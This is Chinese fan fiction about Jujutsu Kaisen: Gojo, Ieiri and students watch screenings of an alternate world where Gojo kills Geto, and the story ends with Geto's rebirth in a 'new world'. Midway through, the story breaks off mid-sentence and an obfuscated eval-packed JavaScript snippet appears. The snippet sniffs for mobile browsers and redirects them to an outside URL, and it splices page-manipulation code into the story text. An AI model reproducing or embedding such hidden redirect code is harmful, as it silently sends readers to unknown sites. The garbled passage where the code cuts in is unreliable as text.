她抬眼看向位于中心的最强咒术师,而这人在下一秒就回望她,这很奇怪——为什么,为什么他要在这一刻看着自己。在场所有人的目光都齐聚于白发咒术师身上,现在这里只有一个最强了。他看过来的目光是从未有过的认真,只是这样,就已经告诉了家入硝子他的答案。 什么都不做向来不是他的作风。 有人说,“——停下。” 是五条悟,只会是他。 话音落下,就有一股更强横的咒力瞬间突破了限制,时间在这一刻仿佛停滞了下来,镜子在两方力量抗衡中隐隐破裂,玻璃上出现了裂痕,从细小的罅隙中裂开缺口。往深处看去,则陷入黑暗之中。此刻他们这里真正地成为了隔绝之地。 “我说,这回都不让我们发表一下观后感,就赶人走,”五条悟还有闲心说话,就代表着事情绝对有转机,“未免也太心急了吧。”他笑了起来,属于最强咒术师的咒力在顷刻间就占据了主导地位。 而下一秒,镜子彻底破碎了。 这个突发状况显然打得在场所有人都措手不及,五条悟的神情也出现了一丝讶异,他们感受到束缚消失了。 “所以发生了什么?”虎杖悠仁看着破碎的镜块逐渐在眼前消失,那背后只剩一片什么都没有的黑暗。胖达犹豫着开口,“我们喊一喊隔壁的五条老师,试试看他们还在不在?” “没用的。”这个提议直接被五条悟否决了,他反问了句,“你们认为他们是被转移走了吗?”学生们你看看我我看看你,最后还是点了点头。夜蛾正道和七海建人没有轻易地下结论。那个自称527的系统在此时仍旧没有什么动作,大有把他们耗死在这里的架势,谁也不敢掉以轻心。五条悟除外。 “你想做什么?”七海建人打量了一遍周围,除了他们这些活人弄出来的动静,四周安静到死寂,现实中显然没有这样的地方。 五条悟笑了下,没有正面回答他的问题,“再不出现,我就告诉他们真相了。你为了维护这个表面费了不少心思吧。”他把威胁的话说得漫不经心,“但是,我不能明白你为什么要这么做。” 这招很管用,对方轻而易举地就被吊了出来。 【你想要什么?】 它把话说得很直接,五条悟的回答也很简短明了,“我想知道后面发生了什么。”他的笑容慢慢收敛了起来,完美的下颌线紧绷着,“我杀了他,对吗?” 年轻的学生震惊的眼神不加遮掩地落在说这话的人身上,而无论是夜蛾正道还是七海建人都陷入了沉默之中,没有表露出同样的情绪,却像是要叹息出声。 第一个质疑的是家入硝子,“你为什么这么认为?” 五条悟从不说没有把握的事,他说这话时的神情足以证明一些东西。对于最强来说,即使是使死人复活这种事,他当然无法做到,但之前的他就算做不到也无须去忧心于此。而当下,反转术式救不了他想救的人,行刑者终有一天会等来审判降下的那刻。你想做什么——他念及那时被众人围绕着的黑发诅咒师,他知道等在他前方的是什么吗?他说笑时眼底袒露的是还未落下一场雪的东京。那么,十二月又是怎般模样呢。 “硝子,”他抬起眼来直视着后者,“你还记得你自己说过的话吗?”家入硝子此刻无法理解他说这话的意思,时间回到他们还没有踏入这个观影室之前,她跟五条悟说过的话翻来覆去只有那些毫无新意的内容,无非是工作上的事宜和没有意义的扯淡,而大多时候是前者。 之后呢,她谈论过去,她念及青春,她说起另一个世界,这些大多都与夏油杰沾亲带故,他要让她想起哪一句话呢。是谁让家入硝子笃定最强二人组无人能敌,即便新宿离别后,漫长的年月里那些深厚的情感仍然存在着,这让她确信不会有比这更糟糕的了。这世界上唯一一个不可能杀死夏油杰的人只能是他了,只会是他。六眼神子在十八岁时领教到的痛苦就已经足够多了,而如今,一份选择摆在了他面前。 杀还是不杀。前者的话,他真的能狠下心来吗,那只会让他的往后余生里都背负着一条命,爱有多重,这条命就有多重。而后者的话,一切都保持原状,对谁都好。 “我说过什么?”她有很多想说的话,女医师也有很多想说的话,就这样吧,哪怕你们数年中再未见过一面,但至少彼此都还活着,身为医生的她,虽不信但仍然会说着这样一句话:只要还活着,一切都还有可能。 晦暗不明的光线落在那双苍蓝色的瞳中,它仍旧是摄人心魂的蓝,染着无法磨灭的那种神性,可也正是这双眼睛被它的主人用来真切地注视着一个人,最强咒术师说。 “我所看见的。” 很奇怪,五条悟无法将他银幕上所展露的痛苦视而不见,如果他只要这个人在他的身边,他可以用很多的手段留下他,但那真的留得住夏油杰吗?年轻的他们可以靠得很近,却又仿佛离得那么远,他的痛苦、他的挣扎,那时的最强一概都没有看见。只有在那些征兆酿成不可挽回的结果后,沉浸在天上天下、唯我独尊的意气风发中的白发咒术师才幡然醒悟过来,在人潮拥挤的街头前看见那犯下杀人行径的挚友,他被气昏了头、在某一刻几乎是恨着这个人的,被背叛的感觉所催生的破坏欲甚至让他动了杀意。这个人明明就站在他眼前,说着当时五条悟完全无法理解的话,他在说什么,他想说什么。无法理解、根本无法理解。 那是什么让他举起的手又放下的呢。言语无法成为沟通的桥梁,但那人眼底的痛苦却可以。如果五条悟硬要和他打一架,他绝对有实力留下他,可那真的是五条悟想要的吗?已经破碎的东西还能再拼凑起来吗?那会让他们都能恢复如初吗? 而另一个世界里的【五条悟】,在新宿之后他选择践行夏油杰曾经的道路,培养出强大的同伴,改革这个咒术界,不会再有谁死亡。最强咒术师的存在总归是好的。他所做的会让某个人的痛苦减免一些吗,这会让他好过一点吗? “硝子,”他说,“决定权并不在我手上。” 五条悟近乎要痛恨起来自己原来可以那么了解一个人,只要一个眼神,只要一个眼神。他的未言之意就那样袒露着表明了——他活不过这个新年。夏油杰是如此地认定了在有一种可能中,死亡会降临在他的头上。他甚至不会感到悔恨,他只会从无穷无尽的罪孽中解脱出来。那么谁是会让夏油杰心甘情愿地死在他手中的那个人呢? 是五条悟,只会是他。 “杀死他的人只会是我。”最强咒术师说,“在这件事上,你一定能理解的吧,硝子。”哪怕他再不忍心,可只要夏油杰做出了决定,那么一切都注定好了。在这近十年中最强都对后者束手无策。 家入硝子沉默了下来,在审判落下后所有的侥幸都不复存在,于是一切都讲得通了,那两个人有时的心知肚明与缄默不语,女医师与白发咒术师露出的眼神与隐晦不明的对话,没人愿意多提及那道伤疤,那对谁都太残忍了,对于后者尤甚。他亲手杀死了自己所爱之人。 而年轻的后辈们茫然地听着这一段仿佛加了密的谈话,和听着之前隔壁那两人说话时的感觉重合了,他们能区分夏油杰这个人在影片中展露出来的善与恶,却无法真正地代入这三个人的情感纠葛中,虽知他们感情深厚,但是,就拿“决定权”来讲,真正能理解的恐怕只有在场的前辈们。 七海建人问道:“所以我们接下来还要再看一轮观影吗?”夜蛾正道没有发声,他思索着五条悟用来威胁系统的真相到底是什么。 “是。”最强咒术师点了点头,“我想知道后面发生了什么。” 放映的银幕重新出现,但那面镜子仍然破碎着,另一个世界的两个人没有再次出现。 【这会是最后一轮,支撑我的能量不多了,你想知道的它会展现出来的。】 明暗不定的字迹浮现在空气中,然后渐渐消失。 最后一轮观影开始了。 11. 新世界 【新世界】 【我们还会有明天吗,我问他。 最强咒术师消失的第七天,我找到了他。 我对他说的第一句话是,死的人够多了。 白发咒术师的苍天之瞳望过来的时候,我切实感受到了沉甸甸的压迫与窥探之感,他眼中的那抹蓝不似人类所能拥有的,但眼底那些情感却比当下翻涌的海浪还要更深,潮水翻起雪白的海浪拍击在岸,一声又一声。 但至少这位六眼没有反驳自己,一个很好的开始。即使他只望过来一眼,就知道了我是个诅咒师。 但当下哪还有咒术师与诅咒师之分,只有活人与死人。 他没有反驳我说的那句话,因为这他妈的就是一个很该死的现实罢了。东京高专的校长死了是真的,那个名叫七海建人的咒术师死了也是真的。 ——而他又一次杀死了夏油杰还是真的。】 夜蛾正道沉吟了下才开口,“这次是一名诅咒师的视角。”这倒出乎了现场所有人的意料,这种视角上次出现还是在一名平平无奇的咒术师身上。 而对于接下来揭露的信息,胖达率先一个没忍住,“这怎么可能?” “发发发生了什么?!”一开头信息量就过大,让虎杖悠仁都结巴了起来。钉崎野蔷薇的脸色与其他人相比也好不到哪里去,任谁知道自己熟知的人在某个地方死去,哪怕是另一个世界,第一时间也会觉得荒诞和不可置信,“哈,我们这是错过了几集剧情啊。” 而名义上已经被冠上死人名号的两位神情都凝重起来,不只因自己的死亡,他们之前隐隐就有种预感,另一个世界的事态绝非那么简单,但若讲经年坐镇后方的东京高专校长死在咒灵的手上,那很讲不通,而七海建人算是咒术界有实力的前辈,在出任务这一方面失手的可能性无疑很低。 最重要的是,最强咒术师是绝不会允许这样的事情发生的。 “那时的你在哪?五条,这不应该的——”不应该再有谁死去了,家入硝子从喉咙里挤出这句破碎的话来,为什么,为什么在后来——在她甚至都能接受他亲手杀死夏油杰之后,又要告诉她,不仅她的友人要死去,还有她的师长,她的后辈。 在当时,一定有什么人或者事情绊住了最强咒术师。 可是,他可是最强。 五条悟不发一语,他的大脑却在飞速运转着,回想前面有没有隐藏的线索指向当下这个局面。 “咒术界一定发生了什么大事,只是不知这和那个人有没有关系。”禅院真希这样猜测道,这并不是毫无根据,夏油杰他无疑有这个本事和能力,甚至在上一轮的最后,他都在谋划着什么。 “他绝对不会对他们动手的。除开高层那边的人,他对咒术师一向包容度很高。”为了他的大义,伏黑惠想到,而且校长曾经是教导过他的师长,七海前辈又是他的后辈,夏油杰没有理由也绝对不会对他们痛下杀手的,他不是那样的人。 银幕上这名诅咒师下一刻透露的信息才是最出乎意料之外的。 突破限制的白发咒术师因这一句话产生无法控制的暴动,苍天之瞳下是暴动着的冰川,周身的咒力带来的压迫感席卷了这片空间,甚至导致观影在这一刻停了下来。 “冷静,五条!”家入硝子喊道。 而后者在明暗不定的光线下,侧脸近乎冷硬,暴虐的咒力因这句话有意地收敛起来,家入硝子以为自己会看见一个恨不得毁灭全世界的混蛋,但五条悟却是缓缓地眨了下眼睛,那里面好像有雪在融化,他说,“我能接受得了第一次,但我——” 他最后还是没有说得出口,那怎么可能呢,五条悟想,在最后,杰应该得到安息的。人怎么可能再被杀死一次呢?除非有谁使死人复活,但那只会打扰到本该躺在六尺之下的人安眠,而活着的人若不能留下他的话,就只能再一次失去。 【他是咒术师,我是诅咒师。但我和他都是存活下来的人。 并不是说当下侥幸还活着的人应该为之怀有某种罪恶感——为什么你没死呢。 只是我很难再拾起一点可支撑着走下去的东西了。 “我见过你,”站在海边的白发咒术师突然开口,他的声音不含有一丝感情,“两次。”这个人的神情隐藏在被风吹起的白发下,但我在这一刻认为他是非人类般的存在,只是高高在上地向人间投来一瞥。六眼神子,我想起来他另一个名号。 但他脚下的白沙却是凝固着的血液,有很多咒术师、诅咒师以及非术师都在这里倒下过,海的颜色也再不是彻底的蓝了,在黄昏的夕阳浸染下,它是沾着罪孽的血红。五条悟站在这里,却又是切实地处在人世当中。就在这里,有人死去,有人活着,有的过往种种都埋葬在潮水之下。 他在这里撒下了他所爱之人的骨灰。 世界上有三样东西无法隐藏,咳嗽,贫穷,爱。对于最强咒术师来说,他只见过我两次。但我却见过他三次。我在第一眼的时候,就看穿了这位六眼神子毫无掩饰的爱意,那还是在他年少的时候,我当时离他不远,就站在京都姊妹交流会的一旁,看着白发少年在胜利后笑得见牙不见眼奔向黑发的咒术师。我知道那是谁,最强二人组里的另一位。当时他们都很年轻,很多东西无需隐藏也还没能学会隐藏。我在那双苍蓝色的眼里望见了足够融化冰雪的爱意,很纯粹,也很热烈,好像经年都不会消散。 我于是知晓那时传言里传得神乎其神的六眼神子,也是一个有血有肉的人,他的眼里始终有一个人的存在。 可是,亲手杀死所爱之人的人也是他。】 传言与现实,过去与当下,在最强咒术师身上都相差甚远,命运这种东西在少年意气风发时不显露出分毫,以至于那些还未曾明了的情感,还未说出口的话,通通都被装进一个仅有三年存活期的玻璃罐中。无论是当事人还是旁观者,从外面只看见了那些美好的、闪闪发光的东西混杂在里面,家入硝子想到,或许我们曾经都相信过总有一天。但谁也没有料及命运会如此的用心险恶,谁也没有料想到玻璃罐有一天就摔下来了。 爱有朝一日会变成最伤人的武器。五条悟在知晓审判早已落下之时,有更多的疼痛付诸在心脏这个最柔软的器官上。这份爱在年轻时鲜活得不知轻重,它一降临就给予了莫大的快乐,伴随着生长出了更多的爱。那么谈及玻璃罐里的所有爱与之后破碎会带来的所有痛苦相比——只是一份少年时纯粹的爱,以至于让人往后余生里都要背负着痛楚,这真的值得吗? 而无论是五条悟还是他的同位体,答案都会是一样的。 哪怕痛苦,却因为爱甘之如饴。它既是痛苦的来源,也是尚能忍受的缘由。 无论是钉崎野蔷薇还是虎杖悠仁,学生们都从来没有将最强咒术师不可靠近的一面摆在明面上谈过,虽然对方平时插科打诨没个正经,像是丝毫不知只要是个正常人都明白的社交距离为何物,往最好的一点说是师生间平易近人。但是,正如五条悟那无人能打破的无下限,没有一个人能真的走进他的生命里。直到现在,另一个世界告诉了他们有一种可能。 年少时降临在六眼神子身上的爱意,将他那所有坚不可摧的隔阂给融化,夏油杰是那个一定会让五条悟动心的人,是那个白发教师言行间藏在影子里的那个人。 只是,观影中提到许多倒下了的诅咒师、咒术师以及非术师,在场所有人也想起这名诅咒师之前也提及过的熟人的死亡,那个世界里后来究竟发生了什么,夏油杰在其中又扮演了什么样的角色,是无辜者还是加害者? 【我没有将这些话说出来。 “百鬼夜行那天,我也在场。”我跟他这样说,那一日大部分诅咒师都冒出头来,哪怕不是为极恶诅咒师效命的人,也有其他人想趁机捞一把死人财。 但我不知道我说这句话时是不是露出了某种神情,以至于这让最强咒术师确定了我的身份,“你是盘星教的人。” 我没有否认,我确实是盘星教的人,是夏油杰那派的诅咒师。命运多奇怪啊,在我很久以前还是咒术师的时候,不会想到后来的自己会成为一名诅咒师,更不会想到当时只能仰望的特级咒术师的这般存在也会叛逃。我做出这个选择是逼不得已,被小人算计才会落得这个下场,但成为盘星教的一员,为夏油杰做事却是心甘情愿。 他曾跟我许诺过一个新世界,没有同胞再会死去,无人受伤无人流泪,那是一个只属于术师的完美世界。我没有去问非术师的下场,这份大义中没有他们的位置,只有死亡会是他们的终点。但是世界上有那么多的普通人,他们产生诅咒,我们死于诅咒,所谓的大义真的有可能实现吗? 因夏油杰而存在于盘星教之中的诅咒师,心里或多或少都会有一个答案,会实现也好,不会实现也罢,又有什么关系呢。他给予了我们一个庇护之所,而在之后盘星教也成了我最接近家的存在。 他在一年前冬日刚来临的时候,迅速而果断地敲定了百鬼夜行这个行动,但是否要让我们参与进来,又把决定权留给了我们自己。 在作出决定的那一刻,我看着尚且还是二十多岁的黑发诅咒师,他依旧还算年轻,这让我在此时此地想起曾经的很多过往,我曾在还是咒术师的时期,因实力不得不仰望他这样强大的存在。而之后我却无需再仰望他,就如当下这样。 生也好,死也好。他是那种我宁死也不愿辜负的人。 可是,后来的我才明白有一点,他并不需要我为他去死,而我愿交付性命的这个人反而先闭上了眼。 当时的我以为这就是结束了,二零一七年的平安夜那天,极恶诅咒师发动百鬼夜行,欲夺取诅咒女王。在开始前我并不认为我们会失败,即使有最强咒术师又怎样,米格尔会尽可能地拖住他,而那几个乳臭未干的年轻学生则更不足为惧。但夏油杰却始终没有断定输赢,倘若旁人问起,他会玩笑般地说毕竟那是最强。这句话好像隐隐暗示了之后会发生的所有,我甚至在后来回想起的时候,疑心他是不是知道自己就算没有被那个玩弄感情的小子废了一条右臂、身受重伤,也会注定死在五条悟手上。 我应该恨他的。当我连同其他一些同伴匆匆赶来的时候,一切都好像结束了,小巷的墙壁被轰出个洞来,滚落的碎石隐隐间有粘稠的血液沾在上面。白发咒术师的脸上溅上了一点血,堂而皇之地宣告了杀人凶手是谁,他将那人拥在怀里,不显露出死者的面容。但我们都知道是谁,那个人不会再睁开眼来了。“离开这里,我不杀你们。”最强咒术师说道,我们当中却谁也没有动作,声音被眼前的一切给剥夺了,我们在某一刻共同沉默着,却了然自己为何而悲伤。 有人将牙关咬紧,然后说,“把夏油大人的尸体留下。”后者因这句话抬起眼来,那双苍天之瞳里此刻的颜色比海还要深,在光影的交错下我仿佛看见了他年少时的一点影子,浓烈的爱意从不会受时间的侵蚀,反而如慢性毒药逐渐浸没五脏六腑。 他没有任何迟疑地拒绝了,在转身离开前落下一句话。 “我会让杰得到应有的平静。”如果只有死亡才能永远地解脱你,我不介意成为你手里的刀,让滚烫的血液浇灌我空洞的心。】 虎杖悠仁说道,“盘星教这些人,是真的很信任他。”不是因为虚无缥缈的大义,而是夏油杰这个人。也正因为他的存在,那些弱小的、被逼得走投无路的术师才能够更好生存着。同样的是,夏油杰也交付了他的真心,将决定权留给他们,他不会让他们同等地去讨厌普通人,足够宽容也足够友好。真心换真心,这个道理在很多事上都适用。 而对于那些诅咒师来说——正如那句话——盘星教是他们最接近家的存在了。 接下来所讲的百鬼夜行,学生们直接你看看我我看看你,“——居然是为了乙骨前辈?”当事人不在这里,自是没法求证。但夺取诅咒女王这个目的却很符合极恶诅咒师这个身份。 “但是,他在乙骨这家伙身上失手,倒真是出乎意料。”禅院真希指出道,不是她不相信年纪轻轻就被列为特级咒术师的同伴的实力,而是夏油杰早十多年前就达到了他那个水平,还有当时他的体术就已经能和最强打得不上不下。 银幕上随着诅咒师的回忆闪过了更多的画面,极恶诅咒师将迄今收集到的所有咒灵分散在城市的各个地方,打得咒术师措手不及,却唯独没有料到刚踏入咒术界的乙骨忧太在决战的最后会有如此的爆发。“他可以不死在这一天的。”虎杖悠仁喉咙发紧,等话音落下才知道这是自己的声音,画面随着事情的发展揭晓了鲜有人知的尾声,有人平静地死于平安夜,也有人为他沉默地哀悼,它按着既定的顺序推动着命运的齿轮,属于他的结局已经落下,却总有人为之后悔所有的来不及。 夜蛾正道摇了摇头,“这一天迟早会来。”他以性命作为赌资,开设赌局,不到最后却已然知晓输赢。得到诅咒女王可以使很多事情都简单点,但那所谓的大义注定会失败,即使没有败于乙骨忧太,夏油杰到最后仍然会是那个开局前就注定好的输者。 家入硝子想起这个年轻却也担得起特级咒术师这个名号的学生,乙骨忧太是个古怪的孩子,放在各有怪癖的咒术师里却算得上好的了,但某些时候比起很多人都要更令人头疼,里香就是最好的一个例子。爱是最扭曲的诅咒,她念及这句话时还会想到五条悟,想到夏油杰,不难想象失去后者对于最强咒术师意味着什么。那么,“复活”夏油杰的人会是他吗?她却在下一秒又否定了这个猜想,在东京的第一场雪将要落下时,他允诺过爱人永恒的平静。 可如果是将要再一次失去呢,家入硝子的脑海里划过这个问题,最强咒术师还能忍受吗? 她不经意地瞥向身为同位体的五条悟,却在这一刻清楚地意识到他与此时银幕上的白发咒术师的神情是如此相似,就好像他的手上也沾着所爱之人的血。 【也许是我沉默的时间有点长了,白发咒术师的视线停在我身上,他问得足够直接,“你是哪一方的人?”鼻间始终围绕着我的血腥气加重了,那铁锈般的味道我在很多活人身上或者尸首上都闻到过,如今它们都混杂在一起,让我确切地知道死的人够多了。 “我活过了百鬼夜行,也逃过了涉谷事变。”我跟他这样说。 前者我是幸存者,后者我却是压根没有参与进来。我知道他为什么要问这样一句话,有人夺取死人的肉身,寄居在本该安息之人的脑子里。他的名字是羂索,借以夏油杰的尸体存在于世,妄图用最强咒术师唯一的弱点对付他。而他成功了。涉谷事变那天发生的事,我或多或少听了个大概,羂索用这张脸以及同样的咒力残秽骗过了六眼,最强咒术师的脑海里瞬间就浮现起了有关夏油杰的三年青春,虽是一分钟,但也足够用狱门疆把他困住了。 羂索骗得了六眼,却骗不过五条悟的灵魂。他否定眼前这个人的身份——你绝对不是杰。他不是夏油杰。真心跟随极恶诅咒师的人不少,但我们也没有瞎到辨不出真假,死人复活这件事在世上闻所未闻,就算有过传说也只会是谣言。而那活过来的只会是披着人类壳子的怪物,菜菜子和美美子想要夺回他的身体,但可惜事与愿违,最后下场并不圆满,我去给她们收尸的时候,心里满是悲凉,想来若是夏油杰知道了必会更加痛苦与自责。 而七海建人这个我也知道名字的咒术师也死在了涉谷事变当日。之后最强咒术师被封印的那段时间,诅咒师与咒术师死的人不在少数,东京高专的校长夜蛾正道也是其中一个,但他却是死于咒术界高层的背刺。外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15299974|167130||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 敌未平内乱又起,我想这偌大的咒术界也该到头了。 但五条悟始终是那个逆转局面的人,他在某一天突然破除了狱门疆,出来做的第一件事就是再一次杀死了夏油杰。之后抱着他的尸体消失在了人们的眼前,剩下的动荡全由还能坚持下去的一些人收拾烂摊子。 而后在最强咒术师消失的第七天,我在大海边找到了他。 家入小姐在找你,我跟他这样说。现在人手不够,女医师哪管我是咒术师还是诅咒师,她对五条悟会去哪里心知肚明,却在这七天中缄默不言,直到迫不得已才把人叫回来。又因实在抽不出身来,家入硝子就喊了个人过来传信。 白发咒术师颔首,算是是知晓了这件事。我站在淌着血的岸上,回忆起从最初到当下的种种,疑心这命运是不是从一开始就注定好了,我们拥有又一定会失去。我很难再拾起一点可支撑走下去的东西了。这个世界未免也太残忍了。我不否认我们犯下过的罪孽,但那并不全都罪恶,黑不是黑,白不是白,却总有好人死去。我在最后问了这个最强咒术师一个问题,我问他,我们还会有明天吗? 到黄昏剩下的一丝余晖将要沉没于海面之时,我听见了他的回答。 他说,会的。】 【系统527宣告最终观影结束——能量不够——错误——错误!所有人即刻强制被返回到原本的世界,倒数重新开始,三——】 在这其中丧命的有很多人,无辜之人与有罪之人,术师与非术师,所有熟知的与陌生的面孔,七海建人不能逃过,夜蛾正道不能逃过。有更多的名字埋没在死亡之下,而幸存者中却始终有最强咒术师和女医师。世界还能在废墟之上重新成长起来吗?百鬼夜行、涉谷事变,一环扣一环,没人能断言最后。但【五条悟】却在那时给出了这个回答——为什么?他为什么如此肯定。 【二——】 熟悉的情节再一次上演,冰冷的机械声又叩响了在场其他人的心扉,这会是最后了吗,家入硝子又一次望向五条悟,后者没有任何动作,看起来近乎冷漠,好像置身于所有事之外。但她知道不是这样,夏油杰本身就是一个禁忌的存在。 任谁也没有想到事情之后还会发展成这个样子,有人从六尺之下把尸首挖出来,让死去之人不得安息。画面中有闪过羂索临死之前还狼狈地叫嚣着你还要再杀一次我吗,死亡,死亡。可是再多的死亡也无关他们的世界,家入硝子从未这么无法忍受当下的一切,痛恨无能为力的自己,痛恨起那个明明有着他存在的世界却又将所有的美好一一粉碎。 【一,转移开始——】 他们什么都做不了。家入硝子冥冥中有种预感,这就是最后了。她看到学生们脸上闪过的神情,他们显然没有准备好就这样离开,有更多的话都没有说出口,关于善、关于恶,关于一个人与许许多多的人。只是黑暗已经向他们席卷开来。 她在这明暗的光影笼罩之时想起了很多熟悉的、陌生的名字,他们都与观影有关,而一切却都围绕着夏油杰。夏油杰,她默念到这个名字,与这个人相连的记忆与情感在此刻鲜活无比,我一定、在过去或者在更早之前就知道你。不是当下,不是未来,而是过去。 家入硝子在陷入全然的黑暗之前,抬起眼来看向最强咒术师最后一眼。五条悟此时平静地回望过来,那双苍天之瞳告诉了她所有。 【转移成功——错误——错误!转移失败!】 “别响了,吵得耳朵疼。”白发咒术师立于黑暗之中,周围再也没有其他人的存在了,只有他一人。这句话落下后,空间陡然陷入了无声,五条悟毫不在意地开口,“我想知道真相。” 【我已经告诉了你所有,你应该离开这里。】 另一个世界的过去与未来,在影片中揭示了命运注定的轨迹。系统拿最强咒术师没有办法,它没有那个能力与之抗衡,主导权早已颠倒。后者提起了另一件事,他说,“镜子后面的那两个人并不存在。” 料到对方不会有反应,五条悟自顾自地接着说下去,“准确来说,他们确实也看过这些观影,”那些真情流露的每一个神情、每一句话,不似作假,“但我们看见的五条悟与家入硝子,与我们不在同一时间线上,恐怕只是接近录像的存在。” “即便是另一个我,也绝不可能不会发觉到自己被人窥视着,”而镜子后面的同位体却是没有察觉到一丝不对劲,五条悟说,“所以我产生了一个不太合实际的念头。但你当时成功被我威胁到,才使我确定了这个想法。” 最强咒术师命令道,“告诉我,这背后的一切。” 系统没有继续维持装死般的状态,它无机质的机械声在某一刻听起来像是高高在上的怜悯,又像是有注定好了的东西显露了出来。 【并不是所有的真相都是好的。】 五条悟对此嗤之以鼻。 【你们的世界在一切尚未开始之前,被抽取了一个变量。五条悟,你的存在是注定的,过于强大的你自出生起就是维持这个世界的基石。而他却不尽然。他是变数,他是能影响到你、以至于牵连到整个世界的存在——让那个世界最后迎来了毁灭的人。】 “不是毁灭,”他说道,“是新生。” “感谢你演讲的这一串话,一切都连起来了,”最强咒术师望向黑暗的最深处,那是世界的边缘,是虚无。“虽然你的形容让我很不喜,但是,我想我应该说一句谢谢,如果杰在这里,他是绝对会让我这么说的吧。” “在一切尚未开始之前,那也是我们的世界刚刚重启。我知道我为了杰能做到哪一步,没有他的世界有什么存在的意义呢?”他轻飘飘说出来的话却压迫十足,“我看到了某一种可能,一个皆大欢喜的可能。如果我能够维持这个世界,那么也说明了它离不开我。” 以性命为赌注是咒术师的常态,但最强咒术师却不然,“于是我和你、准确来说是世界,我们达成了一个合作,创造出一个新的世界,死人会复生,最大的颠覆者则不复存在,这会是一个最稳定、能够长久进行下去的世界。” 但后者实现的条件需要抹除夏油杰的存在。羂索是旧世界最大的颠覆者,也是新世界路上最大的绊脚石。而如果在旧世界消亡时抹去夏油杰的存在,也会连同消除死时也依附在□□上的羂索,这会让很多事情变得更简单。可是五条悟决不会再放开夏油杰,杀死一次就不应该再有下一次了。他从始至终都想要他活着,能够没有痛楚地活下去。 那么这种情况下还有一种办法,『存在即现实』 镜子背后的那两个人进行观影的时间线要在世界还尚未重启之前,那是一个必要的准备,甚至于五条悟怀疑当时的他们知道自己在做什么,白发咒术师和女医师好像不经意谈及的过去,让那时什么都不知道的他们能轻易接受夏油杰这个人的存在,逐步加深他们对夏油杰的认知。那么到最后,他会活过来,在一个新世界中醒来,重新睁开双眼。 【你都想起来了?】 “不,原本还都只是猜测,但现在确定了是事实。”镜子前与后的人从始至终都是同一个人,世界重启后记忆不再,但过去的一切都还存在于时间的每一块碎片上,有些情感始终都留在内里的一个地方,直到合适的时机终将会被唤醒。 最强咒术师不会被黑暗沉没,但直到此刻他自愿离开这里,重返现世。那里有一个人对于五条悟来说,是爱,亦是诅咒,他是他眼中的过去,亦是当下与想托付的生命里的每一个明天。 【那么,在新世界,你们必将重逢。】 五条悟隐约间听见有人在呼唤他,他从长久的黑暗中睁开眼来,触及面前之人虹膜上的一抹深紫,想起来记忆中的那个人有着一双同样的紫色眼睛。 “杰。”他喊道。 12. 同生 “你相信我吗,杰?” “杰。”有人喊他。 名字的主人慢了半拍才反应过来,他低下头来,望向趴在窗台的那个人。夏油杰很少俯视眼前的这个人,五条悟年轻的时候就比他高,更遑论这十年过来,往往都是自己需要稍稍抬起头才能与之对视。而当白发咒术师抬起眼来时,那抹苍蓝色比其他色彩都要来得更直接、也更鲜明,那偶尔让夏油杰有种错觉,哪怕世界颠倒,他也会是永远存在于自己身边的人。 五条悟问道,“怎么了?” 昨夜刚下过雨,还有水渍残留在窗户的缝隙中,但五条悟深色的制服袖口处看不出一点被雨水浸湿的痕迹。他的眼睛没有被任何遮掩物挡着,露出的苍天之瞳和夏油杰第一次见到的时候并没有太大的变化,似乎永远纯净而透彻。 夏油杰微微皱了下眉,转过身去翻找床头柜里的物品,五条悟向来喜欢随手把他自己的东西塞在他的宿舍里,后来连人也要跟他挤一张床,他们认识的十几年里这些习惯就不曾变过。 没有听到回答,五条悟耐心地把他曾经问过的一句话重新说了遍,“你相信我吗,杰?” 窗外的蝉鸣声突然嘈杂起来,白发咒术师可以清楚地感知到方圆几里所有的生命,它们都在流逝着而远离一切,有的在夏天初生,有的在夏天将死。万物如此脆弱,何况人类。 室内的人把好不容易找到的一件陈年旧物丢给了他,示意五条悟把那墨镜戴上。而后者却在等到他的答案之前,都没有其他动作。夏油杰把目光落在看不出他已经二十七岁的外表上,他好像依旧是记忆里年轻时的那个样子。对方只是平静地望着他,一副不愿轻易罢休的模样。 记忆里的五条悟很少固执,他大多时候都是随意而亲昵地唤着自己的名字。而他一旦安静下来,却总是在为了等夏油杰的答案,家入硝子评价过他怕是把所有的耐心都放你身上了。那时夏油杰只以为这特殊对待是年轻的五条悟那还尚不知世的性格造成的,他有很多不明白的东西想问,而自己却又是平时那个与他接触最多的人。于是夏油杰总把世间的很多东西拆给他看,把自己所想的、所坚信的都一一跟对方细说,指明自己曾经为之前行的一条正路。 当事人从未细想过对方这么做只与自己有关,六眼神子俯下身只是为了倾听那来自夏油杰心里的同一跳动声。五条悟问出口的那些问题,大多都是在问他,只是在问他。而在这场欲图从他口中得到答案的较劲中,后者好像永远不知道服输。 夏油杰叹了口气,他把说出来的这句话中的每一个字都念得很轻,字里行间里有无始无终的时间在不存在的现实中流去。 他念道,“我做了一个梦。” 话音落下,有只蝉在窗外嘶吼出最后一声嚎叫,夏油杰意识到有什么东西死在了这个夏天。 而窗外的人只是沉默。 “你相信他吗,夏油?”家入硝子曾经这么问过。 而当时的他没有给出答案,女医师从这沉默的空气中猜到了什么,她也叹息。这些画面竟在回忆中显得那么遥不可及,她抬起眼来看着他,没头没尾地说了一句,“抱歉。” 这两个字很轻,但对于夏油杰来说过重,于是他问道,“为什么要说这句话?” “很多,为了很多。”家入硝子把手伸出来看着,她可以将手术刀拿得很稳,但照样有很多人的生死在她的指间缝隙中流去,“反转术式帮不了你,我不知道我能为你做些什么。” 她应该是说过这句话的,有无声的期望存在这背后,这让当时的夏油杰没有把他想说的讲出来——你在这里,就已经很好了。 家入硝子知道他要说什么,但她也知道为什么那时他没有说出口。“我救得了星浆体那个女孩的命,但是,夏油。”她止了声,没再说下去。 可你仍然痛苦。 